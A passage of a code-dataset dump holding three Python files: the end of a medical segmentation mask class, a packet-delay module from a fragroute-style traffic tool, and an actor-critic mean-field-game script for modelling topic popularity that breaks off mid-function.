box\"\"\"\n\n        if self.get_mask() is None:\n            raise Exception()\n\n        if self.is_empty():\n            raise Exception(\"Cannot calculate bounding boy from empty mask\")\n\n        non_zero = np.nonzero(self.get_mask())\n\n        assert len(non_zero[0]) > 0\n\n        return (\n            (int(np.min(non_zero[0])), int(np.min(non_zero[1])), int(np.min(non_zero[2]))),\n            (int(np.max(non_zero[0])), int(np.max(non_zero[1])), int(np.max(non_zero[2]))),\n        )\n\n    def get_mask_in_bounding_box(self) -> np.ndarray:\n        \"\"\"Gets the mask defined by the bounding box\"\"\"\n\n        bb = self.get_bounding_box()\n\n        return self.get_mask()[\n            bb[0][0]:bb[1][0] + 1,\n            bb[0][1]:bb[1][1] + 1,\n            bb[0][2]:bb[1][2] + 1\n        ]\n\n    def get_segmented_slice_indices(self) -> Set[int]:\n        \"\"\"Returns the set of slice indices that the segment mask has.\"\"\"\n\n        if self.get_mask() is None:\n            raise Exception()\n\n        indices: Set[int] = set()\n\n        for index in np.nonzero(self.get_mask())[0]:\n            indices.add(int(index))\n\n        return indices\n","repo_name":"FintelmannLabDevelopmentTeam/pygmh","sub_path":"pygmh/model/segment.py","file_name":"segment.py","file_ext":"py","file_size_in_byte":5751,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"5042275347","text":"from random import getrandbits\n\nfrom dpkt.ip import IP_PROTO_TCP\nfrom dpkt.tcp import TCP, TH_FIN\n\nfrom .mod import Mod\n\n\nclass Delay(Mod):\n    name = \"delay\"\n    usage = \"delay first|last|random|<idx> <ms>\"\n    description = \"\"\"Delay  the  delivery  of the first, last, or a ran-\n              domly selected packet from the  queue  by  ms  mil-\n              liseconds.\"\"\"\n\n    FIRST = 1\n    LAST = 2\n    RANDOM = 3\n    INDEX = 4\n\n    def parse_args(self, args):\n        self.sec = None\n        self.index = None\n\n        if len(args) != 2:\n            raise Mod.ArgumentException(self)\n\n        if args[0] == \"first\":\n            self.which = Delay.FIRST\n        elif args[0] == \"last\":\n            self.which = Delay.LAST\n        elif args[0] == \"random\":\n            self.which = Delay.RANDOM\n        else:\n            self.which = Delay.INDEX\n            self.index = int(args[0])\n        try:\n            self.sec = float(args[1]) / 1000.0\n            assert 0 < self.sec\n        except:\n            raise Mod.ArgumentException(self, \"delay must be at least 0 milliseconds\")\n\n    def apply(self, packets):\n\n        if self.which == Delay.FIRST:\n            idx = 0\n        elif self.which == Delay.LAST:\n            idx = len(packets) - 1\n        elif self.which == Delay.RANDOM:\n            idx = getrandbits(32) % len(packets)\n        else:\n            idx = self.index\n\n        if len(packets) > idx >= -len(packets):\n            Delay.delay_packet(packets[idx], self.sec)\n\n    @staticmethod\n    def delay_packet(pkt, sec):\n        pkt.ts += sec\n","repo_name":"ZwCreatePhoton/fragroutepluspy","sub_path":"fragroutepluspy/modules/mod_delay.py","file_name":"mod_delay.py","file_ext":"py","file_size_in_byte":1556,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"79"}
+{"seq_id":"5616146499","text":"# This version uses the softplus function for alpha^i_j\n\nimport numpy as np\nfrom numpy.linalg import norm\n\nfrom scipy import special\nfrom scipy.stats import entropy\n\nimport platform\nif (platform.system() == \"Windows\"):\n    import pandas as pd\n    import matplotlib.pylab as plt\n    from matplotlib.backends.backend_pdf import PdfPages    \n    import var\n\nimport os\nimport itertools\nimport time\nimport warnings\n\nwarnings.filterwarnings('error')\n\nclass actor_critic:\n\n    def __init__(self, theta=8.86349, shift=0.16, alpha_scale=12000, d=21):\n\n        # initialize theta\n        self.theta = theta\n        self.shift = shift\n        self.alpha_scale = alpha_scale\n\n        # initialize weight vector (column) for value function approximation\n        self.w = self.init_w(d)\n\n        # number of topics\n        self.d = d\n\n        # initialize collection of start states\n        self.init_pi0(path_to_dir=os.getcwd()+'/train_normalized_round2')\n        self.num_start_samples = self.mat_pi0.shape[0] # number of rows\n\n        # d x d x dim_theta tensor, computed within sample_action and used for\n        # calculating gradient for theta update\n        # self.tensor_phi = np.zeros([self.d, self.d, self.dim_theta])        #here\n\n        # d x d matrix, computed within sample_action and used for sampling action P\n        # and also for calculating gradient for theta update\n        self.mat_alpha = np.zeros([self.d, self.d])\n\n        self.mat_alpha_deriv = np.zeros([self.d, self.d])\n\n        if (platform.system() == \"Windows\"):\n            self.var = var.var(d=d)\n\n# ------------------- File processing functions ------------------ #\n\n\n    def reorder(self, list_rows):\n        \"\"\"\n        Given a list of rows (each is a pi^n), order all rows by decreasing popularity\n        based on the first row.\n        \"\"\"\n        row1 = list_rows[0]\n        # create mapping from index to value\n        list_pairs = []\n        for i in range(len(row1)):\n            list_pairs.append( (i, row1[i]) )\n\n        # sort by decreasing popularity\n        list_pairs.sort(reverse=True, key=lambda x: x[1])\n\n        # extract ordering\n        order = []\n        for pair in list_pairs:\n            order.append( pair[0] )\n        \n        # apply ordering to all rows in list_rows\n        for i in range(len(list_rows)):\n            list_rows[i] = [ list_rows[i][j] for j in order ]\n\n        return list_rows\n\n    \n    def reorder_files(self, indir='train', outdir='train_reordered'):\n        \"\"\"\n        Process all files in given directory, creates new files\n        \"\"\"\n        path_to_dir = os.getcwd() + '/' + indir\n        path_to_outdir = os.getcwd() + '/' + outdir\n\n        for filename in os.listdir(path_to_dir):\n            path_to_file = path_to_dir + '/' + filename\n            f = open(path_to_file, 'r')\n            f.readline() # skip the header line of topics\n            list_lines = f.readlines()\n            f.close()\n            # strip away newline, convert csv format to list of entries,\n            # remove the last empty entry (due to extra comma)\n            list_lines = list(map(lambda x: x.strip().split(',')[:-1], list_lines))\n            # convert to int\n            for i in range(len(list_lines)):\n                list_lines[i] = list(map(int, list_lines[i]))\n            # reorder\n            list_rows = self.reorder(list_lines)\n            # write to new file\n            index_dot = filename.index('.')\n            filename_new = filename[:index_dot] + '_reordered' + filename[index_dot:]\n            f = open(path_to_outdir + '/' + filename_new, 'w')\n            for row in list_rows:\n                s = ','.join(map(str, row))\n                s += '\\n'\n                f.write(s)\n            f.close()\n\n\n    def normalize(self, indir='train_round2', outdir='train_normalized_round2', header=True):\n        \"\"\"\n        Reads files from indir, normalize all rows of data, and writes to outdir.\n        If header = True, then skips the first line\n        \"\"\"\n        path_to_dir = os.getcwd() + '/' + indir\n        path_to_outdir = os.getcwd() + '/' + outdir\n        for filename in os.listdir(path_to_dir):\n            path_to_file = path_to_dir + '/' + filename\n            with open(path_to_file, 'r') as f:\n                if header:\n                    # skip over first line\n                    f.readline()\n                # read everything else into a matrix\n                matrix = np.loadtxt(f, delimiter=',')\n            num_rows = matrix.shape[0]\n            # normalize\n            matrix = matrix / np.sum(matrix, axis=1, keepdims=True)\n            # write to space-separated file in outdir with same filename\n            path_to_outfile = path_to_outdir + '/' + filename\n            with open(path_to_outfile, 'wb') as f:\n                np.savetxt(f, matrix, fmt='%.3e', delimiter=' ')\n\n\n    def get_max_nonzero(self, indir):\n        \"\"\"\n        Scan through the training files in indir and find the maximum\n        number of nonzero entries in the initial distribution\n        \"\"\"\n        max_nnz = 0\n        file_with_max = ''\n        path_to_dir = os.getcwd() + '/' + indir\n        for filename in os.listdir(path_to_dir):\n            path_to_file = path_to_dir + '/' + filename\n            with open(path_to_file, 'r') as f:\n                matrix = np.loadtxt(f, delimiter=',')\n            nnz = np.count_nonzero(matrix[0])\n            if ( nnz > max_nnz ):\n                max_nnz = nnz\n                file_with_max = filename\n        print(\"Max nnz:\", max_nnz)\n        print(\"File with max nnz:\", file_with_max)\n\n\n# ------------------- End file processing functions ------------------ #\n\n\n# ------------------- Actor-critic training functions ---------------- #\n\n    def init_w(self, d):\n        \"\"\"\n        Input:\n        d - number of topics\n\n        Feature vector is \n        [1, pi_1,...,pi_d, pi_1*pi_1,...,pi_1*pi_d, pi_2*pi_2,...,pi_2*pi_d, ...... , pi_d*pi_d]\n        Initialize weight vector for value function approximation\n        Need to decide whether to include the null topic\n        \"\"\"\n        num_features = int((d+1)*d / 2 + d + 1)\n        return np.random.rand(num_features, 1)\n\n\n    def init_pi0(self, path_to_dir, verbose=0):\n        \"\"\"\n        Generates the collection of initial population distributions.\n        This collection will be sampled to get the start state for each training episode\n        Assumes that each file in directory has rows of the format:\n        pi^0_1, ... , pi^0_d\n        where d is a fixed constant across all files\n        \"\"\"\n        # will be list of lists\n        list_pi0 = []\n        num_files = len(os.listdir(path_to_dir))\n\n        for num_day in range(1, 1+num_files):\n            filename = \"trend_distribution_day%d.csv\" % num_day\n            path_to_file = path_to_dir + '/' + filename\n            f = open(path_to_file, 'r')\n            list_lines = f.readlines()\n            f.close()\n            # Take first line, split by ' ', map to float, convert to list and append to list_pi0\n            list_pi0.append( list(map(float, list_lines[0].strip().split(' ')))[0:self.d] )\n            if verbose:\n                print(filename)\n            \n        num_rows = len(list_pi0)\n        num_cols = len(list_pi0[0])\n\n        # Convert to np matrix\n        self.mat_pi0 = np.zeros([num_rows, num_cols])\n        for i in range(len(list_pi0)):\n            self.mat_pi0[i] = list_pi0[i]\n        \n\n    def sample_action(self, pi):\n        \"\"\"\n        Samples from product of d d-dimensional Dirichlet distributions\n        Input:\n        pi - row vector\n        Returns an entire transition probability matrix\n        \"\"\"\n        # Construct all alphas\n        self.mat_alpha = np.zeros([self.d, self.d])\n        # Construct all derivatives\n        self.mat_alpha_deriv = np.zeros([self.d, self.d])\n\n        # temp_{ij} = pi_j - pi_i\n        # alpha^i_j = ln ( 1 + exp[ theta ( (pi_j - pi_i) - shift ) ] )\n        mat1 = np.repeat(pi.reshape(1, self.d), self.d, 0) # all rows same\n        mat2 = np.repeat(pi.reshape(self.d, 1), self.d, 1) # all columns same\n        temp = mat1 - mat2\n        self.mat_alpha = np.log( 1 + np.exp( self.theta * (temp - self.shift)))\n        \n        # Also create matrix of derivatives\n        # d(alpha^i_j)/d(theta) = \\frac{ pi_j - pi_i - shift } { 1 + exp( -theta*(pi_j - pi_i - shift) ) }\n        numerator = temp - self.shift\n        denominator = 1 + np.exp( (-self.theta) * numerator)\n        self.mat_alpha_deriv = numerator / denominator\n\n        # Sample matrix P from Dirichlet\n        P = np.zeros([self.d, self.d])\n        for i in range(self.d):\n            # Get y^i_1, ... y^i_d\n            # y = [np.random.gamma(shape=a, scale=1) for a in self.mat_alpha[i, :]]\n            # Using the vector as input to shape reduces runtime by 5s\n            y = np.random.gamma(shape=self.mat_alpha[i,:]*self.alpha_scale, scale=1)\n            # replace zeros with dummy value\n            y[y == 0] = 1e-20\n            total = np.sum(y)\n            # Store into i-th row of matrix P\n            # P[i] = [y_j/total for y_j in y]\n            try:\n                P[i] = y / total\n            except Warning:\n                P[i] = y / total\n                print(y, total)\n\n        return P\n\n\n    def calc_reward(self, P, pi, d):\n        \"\"\"\n        Input:\n        P - transition matrix\n        pi - population distribution as row vector\n        d - should be self.d always, except during testing\n\n        Using r_{ij}(pi, P_i) = P_{ij}(pi_j - pi_i), reward is\n        R = \\sum_i pi_i \\sum_j P_{ij} r_{ij}(pi, P_i)\n        = < pi , v >\n        where v = v1 - v2\n        where v1 is vector [ \\sum_j P_{1j}^2 pi_j , ... , \\sum_j P_{dj}^2 pi_j ]\n        so v1 = (P element-wise squared)pi\n        and v2 is vector [ \\sum_j P_{1j}^2 pi_1 , ... , \\sum_j P_{dj}^2 pi_d ]\n        so v2 = (P element-wise squared)(all ones) element-wise product with pi\n        \"\"\"\n        # This vectorized version is 3x faster than the version with one for loop\n        P_squared = P * P # element-wise product\n        # P_squared product with pi as column vector\n        v1 = P_squared.dot(pi.reshape(d, 1))\n        # (P_squared product with all_ones) element-wise product with pi as column vector\n        v2 = P_squared.dot(np.ones([d,1])) * pi.reshape(d, 1)\n        reward = pi.dot( v1 - v2 )\n        \n        # This is the direct version, which is much slower for large d\n        # reward = 0\n        # for i in range(d):\n        #     for j in range(d):\n        #         reward += pi[i] * P[i,j]**2 * (pi[j] - pi[i])\n        \n        return reward\n\n\n    def calc_value(self, pi):\n        \"\"\"\n        Input:\n        pi - population distribution as a row vector\n\n        Returns V(pi; w) = varphi(pi) dot self.w\n        where varphi(pi) is the feature vector constructed using pi\n        \"\"\"\n        \n        # generate pairs of (pi_i, pi_j) for all i, for all j >= i\n        list_tuples = list(itertools.combinations_with_replacement(pi, 2))\n        # calculate products\n        list_features = []\n        for idx in range(len(list_tuples)):\n            pair = list_tuples[idx]\n            list_features.append(pair[0] * pair[1])\n        # append first-order feature\n        list_features = list_features + list(pi)\n        # append bias\n        list_features.append(1)\n        # calculate value by inner product\n        value = np.array(list_features).dot(self.w)\n\n        # This pure numpy version is actually much slower\n#        array_tuples = np.vstack(itertools.combinations_with_replacement(pi, 2))\n#        # calculate products, axis is vertical\n#        array_features = np.apply_along_axis(lambda x: x[0]*x[1], axis=1, arr=array_tuples)\n#        # append first-order features along with bias\n#        array_features = np.concatenate([array_features, pi, [1]], axis=0)\n#        # calculate value by inner product\n#        value = array_features.dot(self.w)\n\n        return value\n\n\n    def calc_features(self, pi):\n        \"\"\"\n        Input:\n        pi - population distribution as a row vector\n\n        Returns varphi(pi) as a row vector\n        \"\"\"        \n        # generate pairs of (pi_i, pi_j) for all i, for all j >= i\n        list_tuples = list(itertools.combinations_with_replacement(pi, 2))\n        # calculate products\n        list_features = []\n        for idx in range(len(list_tuples)):\n            pair = list_tuples[idx]\n            list_features.append(pair[0] * pair[1])\n        # append first-order feature\n        list_features = list_features + list(pi)\n        # append bias\n        list_features.append(1)\n\n        return np.array(list_features)\n\n\n    def calc_gradient_vectorized(self, P, pi):\n        \"\"\"\n        Input:\n        P - transition probability matrix\n        pi - population distribution as a row vector\n\n        Calculates \\nabla_{theta} log (F(P, pi, theta))\n        where F is the product of d d-dimensional Dirichlet distributions\n        tensor_phi and mat_alpha are global variables computed in sample_action()\n\n        This version is ~3 times faster than the non-vectorized version\n        \"\"\"\n        # Create B matrix, whose (i,j) element is\n        # B_{ij} = ( -psi(alpha^i_j) + psi(\\sum_j alpha^i_j) + log(P_{ij}))\n        #             * 2 * <phi(i,j,pi) , theta>\n\n        # (i,j) element of mat1 is psi(alpha^i_j)\n        mat1 = special.digamma(self.mat_alpha)\n        # Each row of mat2 has same value along the row\n        # each element in row i is psi(\\sum_j alpha^i_j)\n        mat2 = special.digamma( np.ones([self.d, self.d]) * np.sum(self.mat_alpha, axis=1).reshape(self.d, 1) )\n        # (i,j) element of mat3 is ln(P_{ij})\n        P[P==0] = 1e-100\n        try:\n            mat3 = np.log(P)\n        except Warning:\n            print(P)\n            print(np.where( P==0 )[0])\n            mat3 = np.log(P)\n\n        # Expression is\n        # nabla_theta log(F) = \\sum_i \\sum_j (-psi(alpha^i_j) + psi(\\sum_j alpha^i_j) + ln(P_{ij})) d(alpha^i_j)/d(theta)\n        gradient = np.sum( (-mat1 + mat2 + mat3) * self.mat_alpha_deriv )\n\n        return gradient\n    \n\n    def calc_gradient_basic(self, P, pi):\n        \"\"\" \n        Do not use this version\n        \"\"\"\n        gradient = 0\n        for i in range(self.d):\n            for j in range(self.d):\n                gradient = gradient - special.digamma(self.mat_alpha[i,j]) * self.mat_alpha_deriv[i,j]\n\n            multiplier = special.digamma( np.sum(self.mat_alpha[i]) )\n            for j in range(self.d):\n                gradient = gradient + multiplier * self.mat_alpha_deriv[i,j]\n\n            for j in range(self.d):\n                gradient = gradient + np.log(P[i,j]) * self.mat_alpha_deriv[i,j]\n\n        return gradient\n    \n    def calc_gradient(self, P, pi):\n        \"\"\"\n        Input:\n        P - transition probability matrix\n        pi - population distribution as a row vector\n\n        Calculates \\nabla_{theta} log (F(P, pi, theta))\n        where F is the product of d d-dimensional Dirichlet distributions\n        tensor_phi and mat_alpha are global variables computed in sample_action()\n\n        Do not use this version. Use calc_gradient_vectorized()\n        \"\"\"\n        # initialize gradient as column vector\n        gradient = 0\n\n        for i in range(self.d):\n\n            # psi(\\sum_j alpha^i_j)\n            multiplier = special.digamma( np.sum(self.mat_alpha[i]) )\n\n            for j in range(self.d):\n                \n                # first term = - \\nabla log(\\Gamma(\\alpha^i_j))\n                # = - psi(alpha^i_j) * 2 * (phi(i,j,pi) dot theta) phi(i,j,pi)\n                first_term = - special.digamma(self.mat_alpha[i,j])\n\n                # second term = psi(\\sum_j alpha^i_j) * \\nabla \\alpha^i_j\n                # = psi(\\sum_j \\alpha^i_j) * 2 * (phi(i,j,pi) dot theta) phi(i,j,pi)\n                second_term = multiplier\n\n                # third term = \\nabla (\\alpha^i_j - 1) log(P_{ij})\n                # = 2 * (phi(i,j,pi) dot theta) phi(i,j,pi) * log(P_{ij})\n                third_term = np.log( P[i,j] )\n\n                gradient = gradient + (first_term + second_term + third_term)*self.mat_alpha_deriv[i,j]\n\n        return gradient\n\n\n    def train_log(self, vector, filename, str_format):\n        f = open(filename, 'a')\n        vector.tofile(f, sep=',', format=str_format)\n        f.write(\"\\n\")\n        f.close()\n    \n\n    def train(self, num_episodes=4000, gamma=1, constant=0, lr_critic=0.1, lr_actor=0.001, consecutive=100, file_theta='results/theta.csv', file_pi='results/pi.csv', file_reward='results/reward.csv', write_file=0, write_all=0):\n        \"\"\"\n        Input:\n        1. num_episodes - each episode is 16 steps (9am to 12midnight)\n        2. gamma - temporal discount\n        3. lr_critic - learning rate for value function parameter update\n        4. lr_actor - learning rate for policy parameter update\n        5. consecutive - number of consecutive episodes for each reporting of average reward\n\n        Main actor-critic training procedure that improves theta and w\n        \"\"\"\n        list_reward = []\n        for episode in range(num_episodes):\n            # print(\"Episode\", episode)\n            if write_all:\n                with open('temp.csv', 'a') as f:\n                    f.write('Episode %d \\n\\n' % episode)\n            # Sample starting pi^0 from mat_pi0\n            idx_row = np.random.randint(self.num_start_samples) #here\n            # idx_row = 0 # for testing purposes, select the first row of day 1 always #here\n            # print(\"idx_row\", idx_row)\n            pi = self.mat_pi0[idx_row, :] # row vector #here\n            # pi = np.array([0.7, 0.09, 0.01, 0.2]) #here for testing\n\n            discount = 1\n            total_reward = 0\n            num_steps = 0\n\n            # Stop after finishing the iteration when num_steps=15, because\n            # at that point pi_next = the predicted distribution at midnight\n            while num_steps < 15:\n                num_steps += 1\n\n#                print(\"pi\\n\", pi)\n#                print(num_steps)\n#                print(self.theta)\n\n                # Sample action\n                P = self.sample_action(pi)\n\n                if write_all:\n                    with open('temp.csv','ab') as f:\n                        np.savetxt(f, np.array(['num_steps = %d' % num_steps]), fmt='%s')\n                        np.savetxt(f, np.array(['distribution']), fmt='%s')\n                        np.savetxt(f, pi.reshape(1, self.d), delimiter=',', fmt='%.6f')\n                        np.savetxt(f, np.array(['Action']), fmt='%s')\n                        np.savetxt(f, P, delimiter=',', fmt='%.3f')\n            \n                # Take action, get pi^{n+1} = P^T pi\n                pi_next = np.transpose(P).dot(pi)\n\n                reward = self.calc_reward(P, pi, self.d)\n                \n                # Calculate TD error\n                vec_features_next = self.calc_features(pi_next)\n                vec_features = self.calc_features(pi)\n                # TD error = r + gamma * v(s'; w) - v(s; w)\n                delta = reward + gamma*(vec_features_next.dot(self.w)) - (vec_features.dot(self.w))\n\n                # Update value function parameter\n                # w <- w + alpha * TD error * feature vector\n                # still a column vector\n                length = len(vec_features)\n                if constant == 1:\n                    self.w = self.w + lr_critic * delta * vec_features.reshape(length,1)\n                else:\n                    self.w = self.w + (lr_critic/(episode+1)) * delta * vec_features.reshape(length,1) #here\n\n                # Update policy parameter\n                # theta <- theta + beta * grad(log(F)) * TD error\n                gradient = self.calc_gradient_vectorized(P, pi)\n                if constant == 1:\n                    self.theta = self.theta + lr_actor * delta * gradient\n                else:\n                    self.theta = self.theta + (lr_actor/((episode+1)*np.log(np.log(episode+20)))) * delta * gradient #here\n\n                discount = discount * gamma\n                pi = pi_next\n                total_reward += reward\n\n            list_reward.append(total_reward)\n\n            if (episode % consecutive == 0):\n                print(\"Theta\\n\", self.theta)\n                print(\"pi\\n\", pi)\n                reward_avg = sum(list_reward)/consecutive\n                print(\"Average reward during previous %d episodes: \" % consecutive, str(reward_avg))\n                list_reward = []\n                if write_file:\n                    self.train_log(self.theta, file_theta, \"%.5e\")\n                    self.train_log(pi, file_pi, \"%.3e\")\n                    self.train_log(np.array([reward_avg]), file_reward, \"%.3e\")\n\n\n# ---------------- End training code ---------------- #\n\n# ---------------- Evaluation code ------------------ #\n\n    def JSD(self, P, Q):\n        \"\"\"\n        Arguments:\n        P,Q - discrete probability distribution\n        \n        Return:\n        Jensen-Shannon divergence\n        \"\"\"\n\n        # Replace all zeros by 1e-100\n        P[P==0] = 1e-100\n        Q[Q==0] = 1e-100\n\n        P_normed = P / norm(P, ord=1)\n        Q_normed = Q / norm(Q, ord=1)\n        M = 0.5 * (P + Q)\n\n        return 0.5 * (entropy(P,M) + entropy(Q,M))\n\n\n    def generate_trajectory(self, pi0, total_hours):\n        \"\"\"\n        Argument:\n        pi0 - initial population distribution (included in output)\n        total_hours - number of hours to generate (including first and last hour)\n\n        Return:\n        Matrix, each row is the distribution at a discrete time step,\n        from pi^0 to pi^N\n        \"\"\"\n\n        pi = pi0\n        # Initialize matrix to store trajectory\n        # total_steps rows by d columns\n        mat_trajectory = np.zeros([total_hours, self.d])\n        # Store initial distribution\n        mat_trajectory[0] = pi\n        hour = 1\n\n        while hour < total_hours:\n            P = self.sample_action(pi)\n            pi_next = np.transpose(P).dot(pi)\n            mat_trajectory[hour] = pi_next\n            pi = pi_next\n            hour += 1\n\n        return mat_trajectory\n\n\n    def evaluate(self, theta=8.86349, shift=0.5, alpha_scale=1e4, d=21, episode_length=16, indir='test_normalized_round2', outfile='eval_mfg_round2/test_eval_fixed_reward.csv', write_header=0):\n        \"\"\"\n        Main evaluation function\n\n        Argument:\n        theta - value to use for the fixed policy\n        indir - directory containing the test dataset\n\n        \"\"\"\n        # Fix policy by setting parameter\n        self.theta = theta\n        self.shift = shift\n        self.alpha_scale = alpha_scale\n        self.d = d\n        \n        path_to_dir = os.getcwd() + '/' + indir\n        num_test_trajectories = len(os.listdir(path_to_dir))\n        array_l1_final = np.zeros(num_test_trajectories)\n        array_l1_mean = np.zeros(num_test_trajectories)\n        array_JSD_final = np.zeros(num_test_trajectories)\n        array_JSD_mean = np.zeros(num_test_trajectories)\n        \n        idx = 0\n        # For each file in test_normalized\n        for filename in os.listdir(path_to_dir):\n            path_to_file = path_to_dir + '/' + filename\n\n            with open(path_to_file, 'r') as f:\n                mat_empirical = np.loadtxt(f, delimiter=' ')\n                mat_empirical = mat_empirical[:, 0:self.d]\n\n            # Read initial distribution pi0\n            pi0 = mat_empirical[0]\n\n            # Generate entire trajectory using policy\n            mat_trajectory = self.generate_trajectory(pi0, episode_length)\n\n            # L1 norm of difference between generated and empirical final distribution pi^N\n            l1_final = norm(mat_trajectory[-1] - mat_empirical[-1], ord=1)\n            array_l1_final[idx] = l1_final\n\n            # L1 norm of difference between generated distribution and empirical distribution, averaged across all time steps\n            diff = mat_empirical - mat_trajectory\n            l1_mean = np.mean(np.apply_along_axis(lambda row: norm(row, ord=1), 1, diff))\n            array_l1_mean[idx] = l1_mean\n\n            # JS divergence between final distributions\n            JSD_final = self.JSD(mat_trajectory[-1], mat_empirical[-1])\n            array_JSD_final[idx] = JSD_final\n\n            # Average JS divergence across all time steps\n            JSD_mean = 0\n            for idx2 in range(episode_length):\n                JSD_mean += self.JSD(mat_empirical[idx2], mat_trajectory[idx2])\n                \n            JSD_mean = JSD_mean / episode_length\n            array_JSD_mean[idx] = JSD_mean\n            \n            idx += 1\n\n        # Mean over all test files\n        mean_l1_final = np.mean(array_l1_final)\n        std_l1_final = np.std(array_l1_final)\n        mean_l1_mean = np.mean(array_l1_mean)\n        std_l1_mean = np.std(array_l1_mean)\n        mean_JSD_final = np.mean(array_JSD_final)\n        std_JSD_final = np.std(array_JSD_final)\n        mean_JSD_mean = np.mean(array_JSD_mean)\n        std_JSD_mean = np.std(array_JSD_mean)\n\n        with open(outfile, 'a') as f:\n            if write_header:\n                f.write('theta,shift,alpha_scale,mean_l1_final,std_l1_final,mean_l1_mean,std_l1_mean,mean_JSD_final,std_JSD_final,mean_JSD_mean,std_JSD_mean\\n')\n            f.write(\"%f,%f,%f,%.3e,%.3e,%.3e,%.3e,%.3e,%.3e,%.3e,%.3e\\n\" % (theta, shift, alpha_scale, mean_l1_final, std_l1_final, mean_l1_mean, std_l1_mean, mean_JSD_final, std_JSD_final, mean_JSD_mean, std_JSD_mean))\n\n        return mean_l1_final, mean_l1_mean, mean_JSD_final, mean_JSD_mean\n\n\n    def gridsearch(self, theta_range, shift_range, alpha_range, indir, outfile):\n        \"\"\"\n        Arguments:\n        theta_range - array\n        shift_range - array\n        alpha_range - array\n        \"\"\"\n        list_tuples = [[100,0,0,0],[100,0,0,0],[100,0,0,0],[100,0,0,0]]\n        for theta in theta_range:\n            for shift in shift_range:\n                for alpha_scale in alpha_range:\n                    print(\"Theta %f, shift %f, alpha %d\" % (theta, shift, alpha_scale))\n                    result = self.evaluate(theta, shift, alpha_scale, indir=indir, outfile=outfile, write_header=0)\n                    for idx in range(4):\n                        if result[idx] <= list_tuples[idx][0]:\n                            list_tuples[idx] = [result[idx], theta, shift, alpha_scale]\n        print(list_tuples)\n\n\n    def visualize(self, theta=8.86349, d=21, topic=0, dir_train='train_normalized', train_start=1, train_end=26, dir_test='test_normalized', test_start=27, test_end=37, save_plot=0, outfile='plots/mfg_topic0_theta8p86_s0p5_alpha1e4_m5d9.pdf'):\n        \"\"\"\n        Run MFG policy forward using initial distributions across both training and test set,\n        and plot trajectory of topic against all measurement data.\n        \"\"\"\n        self.theta = theta\n        self.d = d\n        \n        # Read train and test data\n        df_train, df_test = self.var.read_data(dir_train, train_start, train_end, dir_test, test_start, test_end)\n\n        # Generate trajectory from train data using policy\n        print(\"Generating trajectory from train data\")\n        list_df = []\n        idx = 0\n        for num_day in range(train_start, train_end+1):\n            # Read initial distribution pi0\n            pi0 = np.array(df_train.iloc[(num_day-1)*16])\n\n            # Generate entire trajectory using policy\n            mat_trajectory = self.generate_trajectory(pi0, total_hours=16)\n            df = pd.DataFrame(mat_trajectory)\n            df.index = np.arange(idx, idx+16)\n            list_df.append(df)\n            idx += 16\n\n        self.df_train_generated = pd.concat(list_df)\n        self.df_train_generated.index = pd.to_datetime(self.df_train_generated.index, unit=\"D\")\n\n        # Generate trajectory using policy on test data\n        print(\"Generating trajectory from test data\")\n        list_df = []\n        for num_day in range(test_start, test_end+1):\n            # Read initial distribution\n            pi0 = np.array(df_test.iloc[(num_day-test_start)*16])\n            # Generate entire trajectory using policy\n            mat_trajectory = self.generate_trajectory(pi0, total_hours=16)\n            df = pd.DataFrame(mat_trajectory)\n            df.index = np.arange(idx, idx+16) # use same idx that was incremented above\n            list_df.append(df)\n            idx += 16\n        self.df_test_generated = pd.concat(list_df)\n        self.df_test_generated.index = pd.to_datetime(self.df_test_generated.index, unit=\"D\")\n\n        num_train = len(self.df_train_generated.index)\n        array_x_train = np.arange(num_train)\n        array_x_test = np.arange(num_train, num_train+len(self.df_test_generated.index))\n\n        fig = plt.figure()\n        plt.plot(array_x_train, df_train[topic], color='r', linestyle='-', label='train data')\n        plt.plot(array_x_train, self.df_train_generated[topic], color='b', linestyle='--', label='MFG (train)')\n        plt.plot(array_x_test, df_test[topic], color='k', linestyle='-', label='test data')\n        plt.plot(array_x_test, self.df_test_generated[topic], color='g', linestyle='--', label='MFG (test)')        \n        plt.ylabel('Topic %d popularity' % topic)\n        plt.xlabel('Time steps (hrs)')\n        plt.legend(loc='best')\n        plt.title(\"Topic %d empirical and generated data\" % topic)\n        if save_plot == 1:\n            pp = PdfPages(outfile)\n            pp.savefig(fig)\n            pp.close()\n        else:\n            plt.show()\n\n\n    def read_rnn(self, path_to_file='rnn_normalized/trajectories_rnn.txt'):\n        df = pd.read_csv(path_to_file, sep=' ', header=None, names=range(self.d), usecols=range(self.d), dtype=np.float32)\n        df.index = pd.to_datetime(np.arange(0,160), unit=\"D\")\n        self.df_rnn = df\n\n        \n    def visualize_test(self, lag=18, theta=9.96, d=15, topic=0, dir_train='train_normalized_round2', train_start=1, train_end=21, dir_test='test_normalized_round2', test_start=22, test_end=27, mfg_and_rnn=0, log_scale=0,  save_plot=1, outfile='plots_irl/mfg_var_0_9p99_0p02_2e4_22_m5d15.pdf'):\n        \"\"\"\n        Produce plot of trajectory of raw test data, \n        MFG generated data, and time series prediction (from var.py)\n        \"\"\"\n        self.theta = theta\n        self.d = d\n        \n        # Read train and test data\n        df_train, df_test = self.var.read_data(dir_train, train_start, train_end, dir_test, test_start, test_end)\n\n        # Generate trajectory from test data using MFG policy\n        print(\"Generating MFG trajectory from test data\")\n        idx = 0\n        list_df = []\n        for num_day in range(test_start, test_end+1):\n            # Read initial distribution\n            pi0 = np.array(df_test.iloc[(num_day-test_start)*16])\n            # Generate entire trajectory using policy\n            mat_trajectory = self.generate_trajectory(pi0, total_hours=16)\n            df = pd.DataFrame(mat_trajectory)\n            df.index = np.arange(idx, idx+16)\n            list_df.append(df)\n            idx += 16\n        self.df_test_generated = pd.concat(list_df)\n        self.df_test_generated.index = pd.to_datetime(self.df_test_generated.index, unit=\"D\")\n\n        # Train VAR and get forecast\n        print(\"Running VAR to get forecast\")\n        self.var.train(lag, self.var.df_train)\n        df_future_var = self.var.forecast(num_prior=int(16*(train_end-train_start+1)), steps=int(16*(test_end-test_start+1)), topic=topic, plot=0, show_plot=0)\n\n        # Get RNN predictions\n        self.read_rnn()\n\n        #array_x_test = np.arange(0, len(self.df_test_generated.index))\n        array_x_test = np.arange(0, len(self.df_test_generated.index))/16.0\n\n        #fig = plt.figure()\n        fig, ax = plt.subplots()\n        for item in ([ax.title, ax.xaxis.label, ax.yaxis.label] + ax.get_xticklabels() + ax.get_yticklabels()):\n            item.set_fontsize(14)\n            \n        if mfg_and_rnn == 0:\n           